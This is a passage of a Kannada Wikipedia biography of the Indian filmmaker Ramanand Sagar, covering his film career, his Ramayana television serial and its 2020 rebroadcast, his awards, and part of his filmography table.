ತಮ್ಮ ಹೋರಾಟದ ಬಗ್ಗೆ ಬರೆದ '''ಡೈರಿ ಆಫ ಎ ಟಿ.ಬಿ ಪೇಷಂಟ್''' (''Diary of a T.B. patient''), ಧಾರಾವಾಹಿಯಾಗಿ ಲಾಹೋರಿನ ಪತ್ರಿಕೆಯಾದ '''ಅದಬ್-ಇ-ಮಶ್ರೀಕ್‍ರಲ್ಲಿ''' ಪ್ರಕಟಗೊಂಡು ಹೆಸರು ಪಡೆಯಿತು <ref name="TullyRamayan1"/><ref name="dnasagar"/>. ==ವೃತ್ತಿ ಜೀವನ== [[ಚಿತ್ರ:Ramanand Sagar.jpg|200px|thumb|right|ರಾಮಾನಂದ ಸಾಗರ]] ೧೯೩೨ರಲ್ಲಿ ಸಾಗರರು ತಮ್ಮ ಚಲನಚಿತ್ರ ಜೀವನವನ್ನು [[:en:Clapperboard|ಕ್ಲಾಪ್ಪೆರ ಬಾಯ್(clapper boy)]] ಆಗಿ ರೈಡರ್ಸ ಆನ್ ದಿ ರೋಡ್ (''Raiders of the Rail Road'') ಎಂಬ ಮೂಕಿ ಚಿತ್ರದಲ್ಲಿ ಶುರು ಮಾಡಿದರು. [[ಭಾರತದ ವಿಭಜನೆ]]ಯ ನಂತರ, ೧೯೪೯ರಲ್ಲಿ [[ಮುಂಬೈ]]ಗೆ ವಲಸೆ ಬಂದರು<ref name="starsunfold">{{cite web |title=ರಾಮಾನಂದ ಸಾಗರರ ಜೀವನ |url=https://starsunfolded.com/ramanand-sagar/ |website=starsunfolded.com |publisher=starsunfolded| accessdate=2020-05-11 |archive-url=https://web.archive.org/web/20200511190249/https://starsunfolded.com/ramanand-sagar/ | archive-date=2020-05-11}}</ref>. ೧೯೪೦ರ ದಶಕದಲ್ಲಿ [[:en:Prithviraj Kapoor|ಪೃತ್ವಿರಾಜ್ ಕಪೂರ್]] ಅವರ [[:en:Prithvi Theatre|ಪೃತ್ವಿ ಥಿಯೇಟರ್ಸ]] ನಲ್ಲಿ ಸ್ಟೇಜ್ ಮಾನೇಜರ್ ಆಗಿ ಸೇರಿದರು. ಅಲ್ಲಿ ಪೃತ್ವಿರಾಜ್ ಕಪೂರರ ಪಿತೃಸಮಾನ ಮಾರ್ಗದರ್ಶನದಲ್ಲಿ ಕೆಲವು ನಾಟಕಗಳನ್ನು ನಿರ್ದೇಶಿಸಿದರು<ref name="starsunfold"/>. ೧೯೪೯ರಲ್ಲಿ ರಾಮಾನಂದ ಸಾಗರರು [[ರಾಜ್ ಕಪೂರ್]] ರವರ ಸೂಪರ್ ಹಿಟ್ ಚಲನಚಿತ್ರ, [[:en:Barsaat (1949 Film)|ಬರ್ಸಾತ್]]‍ಗಾಗಿ ಕಥೆ ಮತ್ತು ಚಿತ್ರಕಥೆ ಬರೆದರು. <ref name="hindusagar">{{cite web |title=ರಾಮಾನಂದ ಸಾಗರ |url=https://www.thehindu.com/todays-paper/tp-features/tp-metroplus/familiar-turn/article3680371.ece |website=www.thehindu.com |publisher=hindu| accessdate=2020-05-11 |archive-url=https://web.archive.org/web/20140331075518/https://www.thehindu.com/todays-paper/tp-features/tp-metroplus/familiar-turn/article3680371.ece | archive-date=2014-03-31}}</ref> ಇದಲ್ಲದೆ ನಿರ್ದೇಶನಕ್ಕೂ ಇಳಿದರು. ೧೯೫೦ರಲ್ಲಿ [[:en:Sagar Films|ಸಾಗರ್ ಫಿಲ್ಮ್ಸ]] (ಸಾಗರ್ ಆರ್ಟ್ಸ) ಎಂದೂ ಕರೆಯಲಾಗುವ ಚಿತ್ರ ನಿರ್ಮಾಣ ಸಂಸ್ಥೆಯನ್ನು ಪ್ರಾರಂಭಿಸಿದರು <ref name="TullyRamayan1"/>. ಮೆಹ್ಮಾನ್ ಮತ್ತು [[:en:Bazooband|ಬಾಜೋಬಂದ್]] ಚಿತ್ರಗಳನ್ನು ನಿರ್ಮಿಸಿ, ನಿರ್ದೇಶಿಸಿದರು. ಅವು ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಸೋತವು. ===ಚಲನಚಿತ್ರಗಳ ಸೋಲು ಗೆಲುವು=== * ೧೯೬೦ರಲ್ಲಿ [[:en:Paigham (1959 Film)|ಪೈಗಾಮ್ (ಹಿಂದಿ)]] ಚಲನಚಿತ್ರಕ್ಕಾಗಿ ಅತ್ಯುತ್ತಮ ಸಂಭಾಷಣೆಗಾಗಿ ಫಿಲಂಫೇರ್ ಪ್ರಶಸ್ತಿ ಪಡೆದರು. ಇದನ್ನು ನಿರ್ದೇಶಿಸಿದವರು [[:en:S. S. Vasan|ಎಸ್.ಎಸ್ ವಾಸನ್]]. ಈ ಚಿತ್ರದಲ್ಲಿ [[ದಿಲೀಪ್ ಕುಮಾರ್ (ಚಿತ್ರ ನಟ)|ದಿಲೀಪ್ ಕುಮಾರ್]], [[:en:Raaj Kumar|ರಾಜ್ ಕುಮಾರ್]] ಮತ್ತು [[ವೈಜಯಂತಿಮಾಲಾ]]ರವರು ಮುಖ್ಯಪಾತ್ರಗಳಲ್ಲಿ ನಟಿಸಿದರು. * ೧೯೬೦ರಲ್ಲಿ ಅವರ ನಿರ್ದೇಶನದಲ್ಲಿ ತೆರೆಕಂಡ [[:en:Ghunghat (1960 Film)|ಘುಂಘಟ್ (ಹಿಂದಿ)]] ಚಲನಚಿತ್ರ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಗೆದ್ದಿತು. * ೧೯೬೪ರಲ್ಲಿ ಅವರ ನಿರ್ಮಾಣದಲ್ಲಿ ತರೆಕಂಡ [[:en:Zindagi (1964 Film)|ಜಿಂದಗೀ (ಹಿಂದಿ)]] ಚಲನಚಿತ್ರ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಗೆಲ್ಲುವುದರ ಜೊತೆಗೆ ಉತ್ಕೃಷ್ಟ ಚಲನಚಿತ್ರವೆಂದು ಹೆಸರು ಪಡೆಯಿತು. ಪಾತ್ರವರ್ಗದಲ್ಲಿ [[:en:Prithviraj Kapoor|ಪೃತ್ವಿರಾಜ್ ಕಪೂರ್]], [[:en:Rajendra Kumar|ರಾಜೇಂದ್ರ ಕುಮಾರ್]], [[:en:Raaj Kumar|ರಾಜ್ ಕುಮಾರ್]] ಮತ್ತು [[ವೈಜಯಂತಿಮಾಲಾ]]ರವರಿದ್ದರು . * ೧೯೬೫ರಲ್ಲಿ ಅವರ ನಿರ್ದೇಶನದಲ್ಲಿ ತೆರೆಕಂಡ [[:en:Arzoo (1965 Film)| ಆರ್ಜೂ (ಹಿಂದಿ)]], [[:en:Rajendra Kumar|Rajendra Kumar]] ನಾಯಕನಾಗಿದ್ದ ಚಲನಚಿತ್ರ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ರಜತ ಮಹೋತ್ಸವ ಆಚರಿಸಿತು. * ೧೯೬೮ರಲ್ಲಿ [[ಮಾಲಾ ಸಿನ್ಹಾ]] ಮತ್ತು [[:en:Dharmendra|ಧರ್ಮೇಂದ್ರ]] ನಟಿಸಿದ್ದ [[:en:Aankhen (1968 Film)| ಆಂಖೇನ್ (ಹಿಂದಿ)]] ಎಂಬ ಪತ್ತೇದಾರಿ ಚಲನಚಿತ್ರ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಯಶಸ್ವಿಯಾಗುವ ಜೊತೆಗೆ ಅತ್ಯುತ್ತಮ ನಿರ್ದೇಶನಕ್ಕಾಗಿ ಫಿಲಂಫೇರ್ ಪ್ರಶಸ್ತಿಯೂ ಲಭಿಸಿತು. * ೭೦ರ ದಶಕದಲ್ಲಿ ತೆರೆಕಂಡ ಗೇತ್ ಮತ್ತು ಲಲ್ಕಾರ್ ಸೋತವು * ೧೯೭೬ರಲ್ಲಿ, ಇವರು ನಿರ್ದೇಶಿಸಿದ [[:en:Charas (1976 Film)| ಚರನ್ (ಹಿಂದಿ)]] ಆ ವರ್ಷ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಹಣಗಳಿಸಿದ ೫ ಅತ್ಯುತ್ತಮ ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ಒಂದು. [[:en:Dharmendra|ಧರ್ಮೇಂದ್ರ]] ಮತ್ತು [[ಹೇಮ ಮಾಲಿನಿ]] ಮುಖ್ಯಪಾತ್ರದಲ್ಲಿದ್ದರು. * ೧೯೭೯ರಲ್ಲಿ [[:en:Rajesh Khanna|ರಾಜೇಶ್ ಖನ್ನಾ]], [[ರೇಖಾ]] ಮತ್ತು [[:en:Moushumi Chatterjee|ಮೌಶಮಿ ಚಟರ್ಜಿ]] ನಟಿಸಿದ್ದ [[:en:Prem Bandhan | ಪ್ರೇಮ್ ಬಂಧನ್ (ಹಿಂದಿ)]]ವನ್ನು ಇವರು ನಿರ್ದೆಶಿಸಿದ್ದರು. ಈ ಚಲನಚಿತ್ರ ಆ ವರ್ಷ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಹಣ ಗಳಿಸಿದ ೬ನೇ ಅತ್ಯುತ್ತಮ ಚಲನಚಿತ್ರ. * ೧೯೮೨ರಲ್ಲಿ [[:en:Dharmendra|ಧರ್ಮೇಂದ್ರ]], [[ಹೇಮ ಮಾಲಿನಿ]] ಮತ್ತು [[:en:Reena Roy|ರೀನಾ ರಾಯ್]] ನಟಿಸಿದ್ದ [[:en:Bagawat| ಭಗಾವತ್(ಹಿಂದಿ)]] ಎಂಬ ಚಲನಚಿತ್ರವನ್ನು ನಿರ್ದೇಶಿಸಿದರು. ಇದು ಸೋಲು ಕಂಡಿತು. * ೧೯೮೫ರಲ್ಲಿ ಸಲ್ಮಾ ಎಂಬ ಚಲನಚಿತ್ರವನ್ನು ನಿರ್ದೇಶಿಸಿದರು. ಅದರ ಹಾಡುಗಳು ಯುವಜನತೆಯಲ್ಲಿ ಜನಪ್ರಿಯವಾದರೂ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಸೋತಿತು. <ref name="filmlist">{{cite web |title=ರಾಮಾನಂದ ಸಾಗರ ಚಲನಚಿತ್ರಗಳು|url=https://www.bollywoodmdb.com/celebrities/filmography/ramanand-sagar/4885 |website=www.bollywoodmdb.com |publisher=bollywoodmdb| accessdate=2020-05-11 |archive-url=https://web.archive.org/web/20200511184808/https://www.bollywoodmdb.com/celebrities/filmography/ramanand-sagar/4885 | archive-date=2020-05-11}}</ref><ref name="starsunfold"/> ===ಧಾರಾವಾಹಿ ರಂಗಕ್ಕೆ=== ೧೯೮೫ರಲ್ಲಿ ಸಾಗರರು [[ದೂರದರ್ಶನ]] ರಂಗಕ್ಕೆ ಕಾಲಿಟ್ಟರು. ---ದಾದಾ ದಾದಿಕಿ ಕಹಾನಿಯಾಂ--- ಅವರ ಮೊದಲ ಧಾರಾವಾಹಿ. ನಂತರ [[:en:Vikram Aur Betaal|ವಿಕ್ರಮ್ ಮತ್ತು ಬೇತಾಳ]] ಧಾರಾವಾಹಿ ಮಾಡಿದರು <ref name="dnasagar"/>. ಅದರಲ್ಲಿ ಮುಂದೆ [[ರಾಮಾಯಣ (1987 ಟಿವಿ ಸರಣಿ)|ರಾಮಾಯಣ ಧಾರಾವಾಹಿ]]ಯಲ್ಲಿ ಭಗವಾನ್ [[ರಾಮ|ರಾಮನಾಗಿ]] ನಟಿಸಿದ [[:en:Arun Govil | ಅರುಣ್ ಗೋವಿಲ್]] ರಾಜಾ ವಿಕ್ರಮಾದಿತ್ಯನಾಗಿ ಅಭಿನಯಿಸಿದ್ದರು. ===ರಾಮಾಯಣ=== ಮುಂದೆ ಸಾಗರರು ಕೋಟ್ಯಾಂತರ ಭಾರತೀಯರು ಮಾತ್ರವಲ್ಲದೆ ವಿಶ್ವದೆಲ್ಲೆಡೆ [[ರಾಮಾಯಣ]]ವನ್ನು ಓದುವ, ಪ್ರೀತಿಸುವ, ಆರಾಧಿಸಿವು ಜನರ ಮನಃಪಟಲದಲ್ಲಿ ಶಾಶ್ವತವಾಗಿ ನಿಲ್ಲುವ [[ರಾಮಾಯಣ (1987 ಟಿವಿ ಸರಣಿ)|ರಾಮಾಯಣ ಧಾರಾವಾಹಿಯನ್ನು]] ನಿರ್ಮಿಸಿದರು. ಈ ಧಾರಾವಾಹಿಯು ಮನೆ ಮನೆಯ ಮಾತಾಯಿತು. ೭೭ ಕಂತುಗಳ ಈ ಧಾರಾವಾಹಿ ಎಲ್ಲಾ ಹಳೆಯ ದಾಖಲೆಗಳನ್ನು ಅಳಿಸಿಹಾಕಿತು. ಆಗ ಟಿ.ವಿಗಳು ಇದ್ದ ಮನೆಗಳು ವಿರಳ. ಇದ್ದ ಮನೆಗಳಲ್ಲಿ ಭಾನುವಾರ ಬೆಳಗ್ಗೆ ಜನ ಸೇರುತ್ತಿದ್ದದ್ದು ಸಾಮಾನ್ಯ. ಅತ್ಯಂತ ಹೆಚ್ಚು ವೀಕ್ಷಣೆಯಾದ ಪೌರಾಣಿಕ ಧಾರಾವಾಹಿ ಎಂದು ಖ್ಯಾತಿ ಪಡೆದಿತ್ತು. [[ವಾಲ್ಮೀಕಿ]] ರಾಮಾಯಣ ಮತ್ತು [[ತುಳಸಿದಾಸ್|ತುಳಸಿ]] ರಾಮಾಯಣದ ಕಥೆಗಳನ್ನು ಆಧಾರ ಗ್ರಂಥಗಳಾಗಿ ಉಪಯೋಗಿಸಲಾಯಿತು <ref name="ಕನ್ನಢವಾಣಿ">{{cite web |title=ಕಿರು ತೆರೆಯಲ್ಲಿ ವಿಶ್ವದಾಖಲೆ ಸೃಷ್ಟಿಸಿದ ರಾಮಾನಂದ ಸಾಗರ್ ನಿರ್ಮಾಣದ ರಾಮಾಯಣ ಧಾರವಾಹಿ! |url=http://www.kannadavani.news/ramayana-record-indian-entertainment-prem-sagar-ramayan-serial/ |publisher=www.kannadavani.news |accessdate=2020-05-12 |archive-url=https://web.archive.org/web/20200512031614/http://www.kannadavani.news/ramayana-record-indian-entertainment-prem-sagar-ramayan-serial/ |archive-date=2020-05-12 |url-status=bot: unknown }}</ref>. ಈ ಸಫಲತೆಯ ಬಗ್ಗೆ ವಿನಮ್ರರಾಗಿ ಸಾಗರರು ತನ್ನನ್ನು ಈ ದೈವೀ ಕಾರ್ಯಕ್ಕೆ ತೊಡಗಿಸಿದ್ದು ಹನುಮಂತನ ಕೃಪೆ ಎಂದಿದ್ದರು<ref>{{cite book |last1=Tully |first1=Mark |title=NO FULL STOPS in INDIA |date=1991 |publisher=Penguin Books |location=The Rewriting of the Ramayan |isbn=9780140104806 |page=133}}</ref>. ನಟಿಸಿದ ರಾಮ, ಸೀತೆ, ಹನುಮ, ರಾವಣ ಎಲ್ಲರನ್ನೂ ಸಹಸ್ರಾರು ಜನ ದೇವರೆಂದೇ ಸಿಕ್ಕ ಸಿಕ್ಕಲ್ಲಿ ಕಾಲಿಗೆ ಬೀಳುತ್ತಿದ್ದರು<ref>{{cite book |last1=Tully |first1=Mark |title=NO FULL STOPS in INDIA |date=1991 |publisher=Penguin Books |location=The Rewriting of the Ramayan |isbn=9780140104806 |pages=140-142}}</ref>. ಕೆಲ ಚಿಂತಕರ, ಸ್ತ್ರೀವಾದಿಗಳಿಗೆ ಈ ಧಾರಾವಾಹಿ ರುಚಿಸಲಿಲ್ಲ. ದೂರದರ್ಶನದ ಆಡಳಿತದಲ್ಲಿದ್ದಂತಹವರಿಗೂ ಈ ಧಾರಾವಾಹಿಯಲ್ಲಿ ಧಾರ್ಮಿಕ ಅಂಶಗಳು ಹೆಚ್ಚಿದೆಯೆಂದು ಅನ್ನಿಸಿತು. ಸಾಗರರು ಇದನ್ನು ಸ್ವಲ್ಪ ಕಡಿಮೆ ಮಾಡುವ ಪ್ರಯತ್ನ ಮಾಡಿದರು. ಜೊತೆಗೆ ೫೨ ಕಂತುಗಳ್ಳಲ್ಲಿ ಮುಗಿಸುವ ಕರಾರು ಇತ್ತು. ಹೆಚ್ಚಿನ ಅವಧಿ ತೆಗೆದುಕೊಳ್ಳುವ ಹಾಗೆ ಕಾಣುತ್ತಿತ್ತು. ಅವರು ಆಗ ಹಲವು ಕಟ್ಟುಪಾಡುಗಳನ್ನು ಹಾಕಲು ಪ್ರಯತ್ನಿಸಿದರು. ಆದರೆ ಈ ಧಾರಾವಾಹಿಯ ಜನಪ್ರಿಯತೆಯ ಮುಂದೆ ಅವರೂ ಕೂಡ ಬಗ್ಗಬೇಕಾಯಿತು. ಆಗಿನ [[:en:Ministry of Information and Broadcasting (India)|ಸೂಚನಾ ಮತ್ತು ಪ್ರಸಾರಣಾ]] ಸಚಿವರು ಮತ್ತು ಆಗಿನ ಪ್ರಧಾನಿ [[ರಾಜೀವ ಗಾಂಧಿ]]ಯವರಿಗೆ ಆಪ್ತರಾಗಿದ್ದ [[:en:H. K. L. Bhagat|ಹೆಚ್,ಕೆ.ಎಲ್ ಭಗತ್]] ಸ್ವತಃ ಈ ವಿಚಾರದಲ್ಲಿ ಮಧ್ಯಪ್ರವೇಶಿಸಿ ಇನ್ನು ೨೬ ಕಂತುಗಳ ವಿಸ್ತರಣೆ ನೀಡಿದರು. ನಂತರ [[:en:Luv Kush|ಲವ ಕುಶ (ಉತ್ತರ ರಾಮಾಯಣ)]] ಧಾರಾವಾಹಿಗೆ ಕೂಡ ಅವರೇ ಖುದ್ದಾಗಿ ಆಸಕ್ತಿ ವಹಿಸಿ ಅವಕಾಶ ಮಾಡಿಕೊಟ್ಟರು<ref>{{cite book |last1=Tully |first1=Mark |title=NO FULL STOPS in INDIA |date=1991 |publisher=Penguin Books |location=The Rewriting of the Ramayan |isbn=9780140104806 |pages=145-146}}</ref>. ಈ ಧಾರವಾಹಿಯಂದ ದೂರದರ್ಶನದ ಆದಾಯವೂ ವೃದ್ಧಿಸಿತು. ಆಗತಾನೇ ಉಗಮಿಸುತ್ತಿದ್ದ ಮಧ್ಯಮ ವರ್ಗವು ಜಾಹೀರಾತಿಗೆ ಒಳ್ಳೆಯ ಮಾರುಕಟ್ಟೆ ಒದಗಿಸಿತು. ಹಲವು ಹೊಸ ಸರಕುಗಳು ಜಾಹೀರಾತಿನ ಕಾರಣ ದೇಶದ ಉದ್ದಗಲಕ್ಕೂ ತಲುಪಿದವು<ref>{{cite book |last1=Tully |first1=Mark |title=NO FULL STOPS in INDIA |date=1991 |publisher=Penguin Books |location=The Rewriting of the Ramayan |isbn=9780140104806 |pages=148-149}}</ref>. ಸುಮಾರು ೩೦ ವರ್ಷಗಳಾದ ಮೇಲೆ ೨೦೨೦ರಲ್ಲಿ [[ಕೊರೋನಾವೈರಸ್ ಕಾಯಿಲೆ ೨೦೧೯|ಕೋವಿಡ್-೧೯]] ಕಾರಣ ಭಾರತ ಲಾಕ್‍ಡೌನ್ ಆದಾಗ ಕೇಂದ್ರ ಸರ್ಕಾರವು ಜನರನ್ನು ಮನೆಯಲ್ಲೇ ಇರಲು ಪ್ರೋತ್ಸಾಹಿಸಲು ರಾಮಾಯಣ ಮತ್ತು ಉತ್ತರ ರಾಮಾಯಣ ಧಾರಾವಾಹಿಗಳ ಪುನಃಪ್ರಸಾರವನ್ನು ಮಾಡಿಸಿತು. ಎಲ್ಲಾ ದಾಖಲೆಗಳನ್ನು ಮೀರಿ ೭೭ ಮಿಲಿಯನ್ ಅಥವಾ ೭.೭ ಕೋಟಿ ಜನರು ಒಂದೇ ದಿನ ಈ ಧಾರಾವಾಹಿಯನ್ನು ನೋಡಿದರು. ಮತ್ತೆ ದೂರದರ್ಶನದ ಆದಾಯವೂ ವೃದ್ಧಿಸಿತು<ref name="dnasagar1">{{cite web |title=ರಾಮಾಯಣಕ್ಕೆ ಒಂದೇ ದಿನ ೭.೭ ಕೋಟಿ ವೀಕ್ಷಕರು |url=https://www.dnaindia.com/television/report-ramanand-sagar-s-ramayan-registers-77-crore-viewers-becomes-world-s-most-watched-show-2823253 |publisher=dnaindia | accessdate=2020-05-11 |archive-url=https://web.archive.org/web/20200507112236/https://www.dnaindia.com/television/report-ramanand-sagar-s-ramayan-registers-77-crore-viewers-becomes-world-s-most-watched-show-2823253 | archive-date=2020-05-07}}</ref><ref name="ಕನ್ನಢವಾಣಿ"/>. ===ಬೇರೆ ಪೌರಾಣಿಕ ಧಾರಾವಾಹಿಗಳು=== [[ಬಿಬಿಸಿ]] ಸಂಸ್ಥೆಯ ಭಾರತದ ಮುಖ್ಯಸ್ಥರಾಗಿದ್ದ [[:en:Mark Tully| ಮಾರ್ಕ್ ಟುಲ್ಲಿ]]ಯವರೊಂದಿಗೆ [[:en:Luv Kush|ಲವ ಕುಶ (ಉತ್ತರ ರಾಮಾಯಣ)]] ಧಾರಾವಾಹಿಯ ನಿರ್ಮಾಣ ಸಮಯದಲ್ಲಿ ಮಾತನಾಡುತ್ತಾ ಸಾಗರರು, ಇನ್ನು ಮುಂದೆ ಧಾರ್ಮಿಕ ಧಾರಾವಾಹಿಗಳನ್ನು ನಿರ್ಮಿಸುವ ಇಂಗಿತ ವ್ಯಕ್ತಪಡಿಸಿದರು<ref name="TullyRamayan1"/>. ಹಾಗೆಯೇ ಅವರು [[:en:Krishna (TV series)|ಕೃಷ್ಣ]], ಜೈ ಗಂಗಾ ಮಯ್ಯಾ, ಜೈ ಮಹಾಲಕ್ಷ್ಮಿ ಮತ್ತು ಸಾಯಿಬಾಬ ಧಾರಾವಾಹಿಗಳನ್ನು ನಿರ್ಮಿಸಿದರು<ref name="dnasagar"/>. ==ಮರಣ== ಧೀರ್ಘಕಾಲೀನ ಅಸೌಖ್ಯದ ಕಾರಣ ರಾಮಾನಂದ ಸಾಗರರು ೨೦೦೫ನೇ ಡಿಸೆಂಬರಿನಲ್ಲಿ ತಮ್ಮ ೮೮ನೇ ವಯಸ್ಸಿನಲ್ಲಿ ಇಹಲೋಕ ಯಾತ್ರೆ ಸಂಪೂರ್ಣಗೊಳಿಸಿದರು <ref name="dnasagar"/>. ==ಜೀವನ ಚರಿತ್ರೆ== ಡಿಸೆಂಬರ್ ೨೦೧೯ರಲ್ಲಿ ಅವರ ಮಗ ಪ್ರೇಮ್ ಸಾಗರ, '''ಅನ್ ಎಪಿಕ್ ಲೈಫ - ರಾಮಾನಂದ ಸಾಗರ, ಫ್ರಮ್ ಬರ್ಸಾತ್ ಟು ರಾಮಾಯಣ್''' (''An Epic Life: Ramanand Sagar, From Barsaat to Ramayan'') <ref>{{cite book |last1=Sagar |first1=Prem |title=An epic life : Ramanand Sagar : from Barsaat to Ramayan |publisher=Westland Publication Private Limited |isbn=9789388754804 |url=https://www.amazon.in/Epic-Life-Ramanand-Barsaat-Ramayan/dp/9388754808 |accessdate=11 May 2020}}</ref>ಎಂಬ ತಮ್ಮ ತಂದೆಯ ಜೀವನ ಚರಿತ್ರೆಯನ್ನು ಬಿಡುಗಡೆಗೊಳಿಸಿದರು. ರಾಮಾನಂದ ಸಾಗರರ ಈ ಜೀವನ ಚರಿತ್ರೆ, ಒಬ್ಬ ಕಾರಕೂನನಿಂದ ದೇಶದ ಅತ್ಯಂತ ದೊಡ್ಡ ನಿರ್ಮಾಪಕ, ನಿರ್ದೇಶಕರೊಬ್ಬರಾಗಿ ಜೀವನದಲ್ಲಿ ಹೋರಾಟಗಳನ್ನು ಎದುರಿಸಿ ಬೆಳೆದ ಪರಿಯನ್ನು ಕಟ್ಟಿಕೊಡುತ್ತದೆ <ref name="starsunfold"/> ==ಕೃತಿಗಳು== * '''ಡೈರಿ ಆಫ ಎ ಟಿ.ಬಿ ಪೇಷಂಟ್''' (''Diary of a T.B. patient'') - ತಮ್ಮ ಕ್ಷಯದೊಂದಿಗಿನ ಹೋರಾಟವನ್ನು ದಾಖಲಿಸಿದ್ದಾರೆ - ೧೯೪೨ <ref name="dnasagar"/> * '''ಔರ್ ಇನ್ಸಾನಿಯತ್ ಮರ್ ಗಯಿ - ಮತ್ತೆ ಮಾನವತೆ ಸತ್ತು ಹೋಯಿತು'''(''ಹಿಂದಿ और इन्सानिय्त् मर गई'') (''English: And Humanity Died)'') - ಭಾರತದ ವಿಭಜನೆಯ ಸಮಯದಲ್ಲಿ ಬರೆದ ಕಾದಂಬರಿ - ೧೯೪೮ <ref name="TullyRamayan1"/> ==ಪ್ರಶಸ್ತಿ== ತಮ್ಮ ವೃತ್ತಿಯಲ್ಲಿನ ಕೊಡುಗೆಗಳಿಗಾಗಿ ರಾಮಾನಂದ ಸಾಗರರರಿಗೆ ಹಲವು ಪ್ರಶಸ್ತಿಗಳು ಸಂದಿವೆ ===ನಾಗರೀಕ ಪ್ರಶಸ್ತಿ=== * [[ಪದ್ಮಶ್ರೀ]] [[:en:List of Padma Shri award recipients (2000–2009)|೨೦೦೦]] - ಕಲಾ ಕ್ಷೇತ್ರದಲ್ಲಿನ ಸಾಧನೆಗಾಗಿ ===ಗೆದ್ದ ಪ್ರಶಸ್ತಿ=== * ೧೯೬೦ - [[:en:Filmfare Award for Best Dialogue|ಅತ್ಯುತ್ತಮ ಸಂಭಾಷಣೆಗಾಗಿ ಫಿಲಂಫೇರ್ ಪ್ರಶಸ್ತಿ]] ''[[:en:Paigham (1959 Film)|ಪೈಗಾಮ್ (ಹಿಂದಿ)]]'' * ೧೬೬೯ - [[:en:Filmfare Award for Best Director|ಅತ್ಯುತ್ತಮ ನಿರ್ದೇಶನಕ್ಕಾಗಿ ಫಿಲಂಫೇರ್ ಪ್ರಶಸ್ತಿ]] ''[[:en:Aankhen (1968 Film)| ಆಂಖೇನ್ (ಹಿಂದಿ)]]'' ===ನಾಮನಿರ್ದೇಶನಗೊಂಡ ಪ್ರಶಸ್ತಿ=== * ೧೯೬೬ - [[:en:Filmfare Award for Best Story|ಅತ್ಯುತ್ತಮ ಸಂಭಾಷಣೆಗಾಗಿ ಫಿಲಂಫೇರ್ ಪ್ರಶಸ್ತಿ]] ''[[:en:Arzoo (1965 Film)| ಆರ್ಜೂ (ಹಿಂದಿ)]]'' * ೧೯೬೬ - [[:en:Filmfare Award for Best Director|ಅತ್ಯುತ್ತಮ ನಿರ್ದೇಶನಕ್ಕಾಗಿ ಫಿಲಂಫೇರ್ ಪ್ರಶಸ್ತಿ]] ''[[:en:Arzoo (1965 Film)| ಆರ್ಜೂ (ಹಿಂದಿ)]]'' * ೧೯೬೯ - [[:en:Filmfare Award for Best Story|ಅತ್ಯುತ್ತಮ ಕಥೆಗಾಗಿ ಫಿಲಂಫೇರ್ ಪ್ರಶಸ್ತಿ]] ''[[:en:Aankhen (1968 Film)| ಆಂಖೇನ್ (ಹಿಂದಿ)]]'' ==ಚಿತ್ರಗಳು== {| class="wikitable sortable" |- ! ವರ್ಷ!! ಹೆಸರು !! ಚಿತ್ರ / ಧಾರವಾಹಿ !! ಜವಾಬ್ದಾರಿ !! ಟಿಪ್ಪಣಿಗಳು |- | ೨೦೦೫ || ''ಸಾಯಿ ಬಾಬಾ (ಹಿಂದಿ)'' || ಧಾರವಾಹಿ || ನಿರ್ದೇಶಕ || |- | ೧೯೯೩ || ''[[:en:Alif Laila| ಅಲಿಫ್ ಲೈಲಾ (ಹಿಂದಿ)]]'' || ಧಾರವಾಹಿ || ನಿರ್ದೇಶಕ || |- | ೧೯೯೨ || ''[[:en:Krishna (ಧಾರವಾಹಿ)|ಕೃಷ್ಣ (ಹಿಂದಿ)]]'' || ಧಾರವಾಹಿ || ನಿರ್ದೇಶಕ || |- | ೧೯೮೮-೮೯ || ''[[:en:Luv Kush|ಲವ ಕುಶ (ಉತ್ತರ ರಾಮಾಯಣ) (ಹಿಂದಿ)]]'' || ಧಾರವಾಹಿ || ನಿರ್ದೇಶಕ || |- | ೧೯೮೭-೮೮ || ''[[:en:Ramayan (1987 ಧಾರವಾಹಿ)|ರಾಮಾಯಣ (ಹಿಂದಿ)]]''|| ಧಾರವಾಹಿ || ನಿರ್ದೇಶಕ<br>ನಿರ್ಮಾಪಕ<br>ಕಥೆ || |- | ೧೯೮೬ || ''[[:en:Vikram Aur Betaal | ವಿಕ್ರಮ್ ಮತ್ತು ಬೇತಾಳ (ಹಿಂದಿ)]]'' || ಧಾರವಾಹಿ || ನಿರ್ದೇಶಕ<br>ನಿರ್ಮಾಪಕ || |- | ೧೯೮೫ || ''[[:en:Salma (1985 Film)| ಸಲ್ಮಾ (ಹಿಂದಿ)]]''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ<br>ನಿರ್ಮಾಪಕ || |- | ೧೯೮೩ || ''[[:en:Romance (1983 Film)| ರೋಮಾನ್ಸ (ಹಿಂದಿ)]]''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ<br>ನಿರ್ಮಾಪಕ || |- | ೧೯೮೨ || ''[[:en:Bagawat| ಭಗಾವತ್(ಹಿಂದಿ)]]''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ<br>ನಿರ್ಮಾಪಕ || |- | ೧೯೮೧ || ''ಅರ್ಮಾನ (ಹಿಂದಿ)'' || ಚಿತ್ರ || ನಿರ್ಮಾಪಕ || |- | ೧೯೭೯ || ''[[:en:Hum Tere Ashiq Hain| ತೇರೆ ಆಶಿಕ್ ಹೇ (ಹಿಂದಿ)]]'' || ಚಿತ್ರ || ಸಂಭಾಷಣೆ <br>ಚಿತ್ರಕಥೆ || |- | ೧೯೭೯ || ''[[:en:Prem Bandhan | ಪ್ರೇಮ್ ಬಂಧನ್ (ಹಿಂದಿ)]]''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ || |- | ೧೯೭೬ || ''[[:en:Charas (1976 Film)| ಚರನ್ (ಹಿಂದಿ)]]''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ<br>ನಿರ್ಮಾಪಕ<br>ಕಥೆ || |- | 